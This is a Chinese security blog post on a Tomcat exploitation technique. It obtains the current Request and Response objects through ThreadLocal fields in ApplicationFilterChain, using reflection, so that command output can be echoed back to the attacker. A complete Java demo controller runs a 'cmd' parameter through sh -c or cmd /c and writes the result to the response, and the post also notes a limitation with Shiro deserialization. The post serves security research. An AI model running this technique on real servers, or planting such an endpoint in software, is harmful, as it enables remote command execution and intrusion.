F4DE F4DE
首页
技术
笔记
随笔
关于
友链
归档

F4DE

Web Security
首页
技术
笔记
随笔
关于
友链
归档
  • Java安全

    • Tomcat

      • Tomcat AJP协议漏洞
      • 基于Tomcat Response对象获取回显
        • 寻找
        • Demo
        • 局限性
      • 通过动态注册filter实现Tomcat内存🐎
      • 基于Tomcat全局存储进行回显
    • Shiro

    • 字节码

    • 反序列化

  • 技术
  • Java安全
  • Tomcat
F4DE
2021-04-06

基于Tomcat Response对象获取回显

# 基于Tomcat Response对象

Reference:

  • Tomcat中一种半通用回显方法 - 先知社区 (aliyun.com) (opens new window)

通过初始化 ThreadLocal 存储的 Request 和 Response 对象,再用反射获取对象,最后写入命令执行后的回显。

# 寻找

通过在Controller之前的调用栈中寻找Tomcat Response对象,如果在某处被记录下来,就能通过反射获取到Response对象,写入回显。类型应该是ThreadLocal,这样才属于当前线程,并且最好应该是一个static变量。

在org.apache.catalina.core.ApplicationFilterChain中有合适的变量:

image-20210324144423134

并且会在Controller之前通过ThreadLocal#set方法存入Request和Response对象:

image-20210324145812597

想要那两个 ThreadLocal 变量存入Request对象和Response对象,必须满足 if 条件,但是WRAP_SAME_OBJECT的值默认为false,并且lastServicedRequest和lastServicedResponse对象并没有初始化:

image-20210324150147885

所以需要利用反射修改WRAP_SAME_OBJECT的值,并且初始化lastServicedRequest和lastServicedResponse。

# Demo

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

@RestController
public class DefineController {
    
    @RequestMapping("/demo1")
    public String demo1() {
        try {
            Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse");
            Field modifiers = Field.class.getDeclaredField("modifiers");
            modifiers.setAccessible(true);
            // 去掉final修饰符,设置访问权限
            modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
            modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
            WRAP_SAME_OBJECT.setAccessible(true);
            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);
            // 修改 WRAP_SAME_OBJECT 并且初始化 lastServicedRequest 和 lastServicedResponse
            if (!WRAP_SAME_OBJECT.getBoolean(null)) {
                WRAP_SAME_OBJECT.setBoolean(null, true);
                lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
                lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
            } else {
                // 第二次请求后进入 else 代码块,获取 Request 和 Response 对象,写入回显
                ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
                ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
                ServletRequest servletRequest = threadLocalReq.get();
                ServletResponse servletResponse = threadLocalResp.get();
                String cmd = servletRequest.getParameter("cmd");
                if (cmd != null) {
                    String[] cmdArray;
                    if (System.getProperty("os.name").toLowerCase().contains("win")) {
                        cmdArray = new String[]{"cmd", "/c", cmd};
                    } else {
                        cmdArray = new String[]{"sh", "-c", cmd};
                    }
                    InputStream inputStream = Runtime.getRuntime().exec(cmdArray).getInputStream();
                    Scanner s = new Scanner(inputStream).useDelimiter("//A");
                    String output = s.hasNext() ? s.next() : "";
                    PrintWriter writer = servletResponse.getWriter();
                    writer.write(output);
                    writer.flush();
                    writer.close();
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return "test";
    }

}

处理流程如下:

  • 第一次访问路由,反射修改WRAP_SAME_OBJECT的值,并且初始化lastServicedRequest和lastServicedResponse
  • 第二次访问路由,在当前线程中获取Request和Response对象,然后写入命令执行的内容

演示如下:

1

# 局限性

Shiro反序列化漏洞无法利用成功,Shiro的RememberMe功能本质上就是一个filter,而Request和Response对象设置到ThreadLocal中的部分是在执行完filter.doFilter之后的,所以在触发Shiro RememberMe反序列化的时候还没有获取到 Request 和 Response 对象。

image-20210406224006193

Tomcat AJP协议漏洞
通过动态注册filter实现Tomcat内存🐎

← Tomcat AJP协议漏洞 通过动态注册filter实现Tomcat内存🐎→

最近更新
01
在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链
04-19
02
CommonsBeanUtils
04-19
03
基于Tomcat全局存储进行回显
04-16
更多文章>
Theme by Vdoing | Copyright © 2020-2021
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×